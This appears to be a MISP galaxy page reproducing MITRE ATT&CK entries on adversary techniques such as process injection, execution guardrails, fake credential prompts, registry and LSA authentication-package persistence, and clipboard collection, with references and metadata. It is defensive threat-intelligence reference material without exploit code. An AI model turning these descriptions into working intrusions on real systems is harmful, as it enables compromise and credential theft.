Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
Internal MISP references
UUID 853c4192-4311-43e1-bfbb-b11b14911852 which can be used as unique global reference for Execution Guardrails - T1480 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1480 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Process Injection - T1055
Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.
More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Internal MISP references
UUID 43e7dc91-05b2-474c-b9ac-2ed4fe101f4d which can be used as unique global reference for Process Injection - T1055 in MISP communities and other software using the MISP galaxy
External references
- http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - webarchive
- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - webarchive
- https://attack.mitre.org/techniques/T1055 - webarchive
- https://docs.microsoft.com/sysinternals/downloads/sysmon - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.gnu.org/software/acct/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['File: File Metadata', 'File: File Modification', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'Process: Process Metadata', 'Process: Process Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Acquire Access - T1650
Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)
Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., Web Shell) or established access via External Remote Services. In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)
By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)
In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a Trusted Relationship, Multi-Factor Authentication Interception, or even Supply Chain Compromise.
Note: while this technique is distinct from other behaviors such as Purchase Technical Data and Credentials, they may often be used in conjunction (especially where the acquired foothold requires Valid Accounts).
Internal MISP references
UUID d21bb61f-08ad-4dc1-b001-81ca6cb79954 which can be used as unique global reference for Acquire Access - T1650 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1650 - webarchive
- https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/ - webarchive
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a - webarchive
- https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/ - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1650 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_platforms | ['PRE'] |
Input Capture - T1056
Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).
Internal MISP references
UUID bb5a00de-e086-4859-a231-fa793f6797e2 which can be used as unique global reference for Input Capture - T1056 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1056 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection', 'attack-Network:collection', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Driver: Driver Load', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Process Discovery - T1057
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.
On network devices, Network Device CLI commands such as show processes can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)
Internal MISP references
UUID 8f4a33ec-8b1f-4b80-a2f6-642b2e479580 which can be used as unique global reference for Process Discovery - T1057 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1057 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Stage Capabilities - T1608
Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)
Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):
- Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
- Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
- Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer.(Citation: Volexity Ocean Lotus November 2020)
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).(Citation: DigiCert Install SSL Cert)
Internal MISP references
UUID 84771bc3-f6a0-403e-b144-01af70e5fda0 which can be used as unique global reference for Stage Capabilities - T1608 in MISP communities and other software using the MISP galaxy
External references
- http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ - webarchive
- https://attack.mitre.org/techniques/T1608 - webarchive
- https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/ - webarchive
- https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks - webarchive
- https://www.digicert.com/kb/ssl-certificate-installation.htm - webarchive
- https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/ - webarchive
- https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html - webarchive
- https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku - webarchive
- https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service - webarchive
- https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection - webarchive
- https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian - webarchive
- https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Account Discovery - T1087
Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts).
Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.
For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.
Internal MISP references
UUID 72b74d71-8169-42aa-92e0-e7b04b9f5a08 which can be used as unique global reference for Account Discovery - T1087 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1087 - webarchive
- https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list - webarchive
- https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html - webarchive
- https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1087 |
| kill_chain | ['attack-Windows:discovery', 'attack-Azure-AD:discovery', 'attack-Office-365:discovery', 'attack-SaaS:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Google-Workspace:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace'] |
Valid Accounts - T1078
Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)
The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)
Internal MISP references
UUID b17a1a56-e99c-403c-8948-561df0cffe81 which can be used as unique global reference for Valid Accounts - T1078 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1078 - webarchive
- https://technet.microsoft.com/en-us/library/dn487457.aspx - webarchive
- https://technet.microsoft.com/en-us/library/dn535501.aspx - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - webarchive
- https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1078 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Containers:defense-evasion', 'attack-Network:defense-evasion', 'attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Google-Workspace:persistence', 'attack-Containers:persistence', 'attack-Network:persistence', 'attack-Windows:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-SaaS:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-Containers:privilege-escalation', 'attack-Network:privilege-escalation', 'attack-Windows:initial-access', 'attack-Azure-AD:initial-access', 'attack-Office-365:initial-access', 'attack-SaaS:initial-access', 'attack-IaaS:initial-access', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Google-Workspace:initial-access', 'attack-Containers:initial-access', 'attack-Network:initial-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Multilayer Encryption - T1079
An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
Internal MISP references
UUID 428ca9f8-0e33-442a-be87-f869cb4cf73e which can be used as unique global reference for Multilayer Encryption - T1079 in MISP communities and other software using the MISP galaxy
External references
- http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840 - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1079 - webarchive
- https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html - webarchive
- https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1079 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Account Manipulation - T1098
Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.
In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.
Internal MISP references
UUID a10641f4-87b4-45a3-a906-92a149cb2c27 which can be used as unique global reference for Account Manipulation - T1098 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1098 - webarchive
- https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 - webarchive
- https://github.com/gentilkiwi/mimikatz/issues/92 - webarchive
- https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html - webarchive
- https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098 |
| kill_chain | ['attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-IaaS:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Google-Workspace:persistence', 'attack-SaaS:persistence', 'attack-Network:persistence', 'attack-Containers:persistence', 'attack-Windows:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-SaaS:privilege-escalation', 'attack-Network:privilege-escalation', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Modification', 'Group: Group Modification', 'Process: Process Creation', 'User Account: User Account Modification'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'SaaS', 'Network', 'Containers'] |
Modify Registry - T1112
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.
Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)
The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.
Internal MISP references
UUID 57340c81-c025-4189-8fa0-fc7ede51bae4 which can be used as unique global reference for Modify Registry - T1112 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1112 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ - webarchive
- https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull - webarchive
- https://docs.microsoft.com/sysinternals/downloads/reghide - webarchive
- https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657 - webarchive
- https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353 - webarchive
- https://technet.microsoft.com/en-us/library/cc732643.aspx - webarchive
- https://technet.microsoft.com/en-us/library/cc754820.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1112 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Authentication Package - T1131
Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=. The binary will then be executed by the system when the authentication packages are loaded.
Internal MISP references
UUID 52d40641-c480-4ad5-81a3-c80ccaddf82d which can be used as unique global reference for Authentication Package - T1131 in MISP communities and other software using the MISP galaxy
External references
- http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html - webarchive
- https://attack.mitre.org/techniques/T1131 - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx - webarchive
- https://technet.microsoft.com/en-us/library/dn408187.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1131 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Screen Capture - T1113
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)
Internal MISP references
UUID 0259baeb-9f63-4c69-bf10-eb038c390688 which can be used as unique global reference for Screen Capture - T1113 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1113 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Dynamic DNS - T1311
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)
Internal MISP references
UUID 20a66013-8dab-4ca3-a67d-766c842c561c which can be used as unique global reference for Dynamic DNS - T1311 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1311 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Related clusters
To see the related clusters, click here.
Email Collection - T1114
Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Internal MISP references
UUID 1608f3e1-598a-42f4-a01a-2e252e81728f which can be used as unique global reference for Email Collection - T1114 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1114 |
| kill_chain | ['attack-Windows:collection', 'attack-Office-365:collection', 'attack-Google-Workspace:collection', 'attack-macOS:collection', 'attack-Linux:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Access', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation'] |
| mitre_platforms | ['Windows', 'Office 365', 'Google Workspace', 'macOS', 'Linux'] |
Input Prompt - T1411
The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.
Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)
Specific approaches to this technique include:
Impersonate the identity of a legitimate application
A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)
Display a prompt on top of a running legitimate application
A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the ActivityManager API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Approaches to display a prompt include:
- A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
- A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the
SYSTEM_ALERT_WINDOWpermission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) TheSYSTEM_ALERT_WINDOWpermission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)
Fake device notifications
A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)
Internal MISP references
UUID 3dd58c80-4c2e-458c-9503-1b2cd273c4d2 which can be used as unique global reference for Input Prompt - T1411 in MISP communities and other software using the MISP galaxy
External references
- http://cloak-and-dagger.org/ - webarchive
- http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag - webarchive
- http://w2spconf.com/2011/papers/felt-mobilephishing.pdf - webarchive
- https://attack.mitre.org/techniques/T1411 - webarchive
- https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf - webarchive
- https://developer.android.com/guide/components/activities/background-starts - webarchive
- https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html - webarchive
- https://www.group-ib.com/blog/gustuff - webarchive
- https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/ - webarchive
- https://www.skycure.com/blog/accessibility-clickjacking/ - webarchive
- https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html - webarchive
- https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/ - webarchive
- https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1411 |
| kill_chain | ['mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Input Prompt - T1141
When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).
Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).
Internal MISP references
UUID 91ce1ede-107f-4d8b-bf4c-735e8789c94b which can be used as unique global reference for Input Prompt - T1141 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1141 - webarchive
- https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html - webarchive
- https://capec.mitre.org/data/definitions/569.html - webarchive
- https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ - webarchive
- https://logrhythm.com/blog/do-you-trust-your-computer/ - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1141 |
| kill_chain | ['attack-macOS:credential-access', 'attack-Windows:credential-access'] |
| mitre_platforms | ['macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Clipboard Data - T1115
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).(Citation: mining_ruby_reversinglabs)
macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)
Internal MISP references
UUID 30973a08-aed9-4edf-8604-9084ce1b5c4f which can be used as unique global reference for Clipboard Data - T1115 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1115 - webarchive
- https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems - webarchive
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip - webarchive
- https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363 - webarchive
- https://msdn.microsoft.com/en-us/library/ms649012 - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/aa21-200b - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1115 |
| kill_chain | ['attack-Linux:collection', 'attack-Windows:collection', 'attack-macOS:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
LC_LOAD_DYLIB Addition - T1161
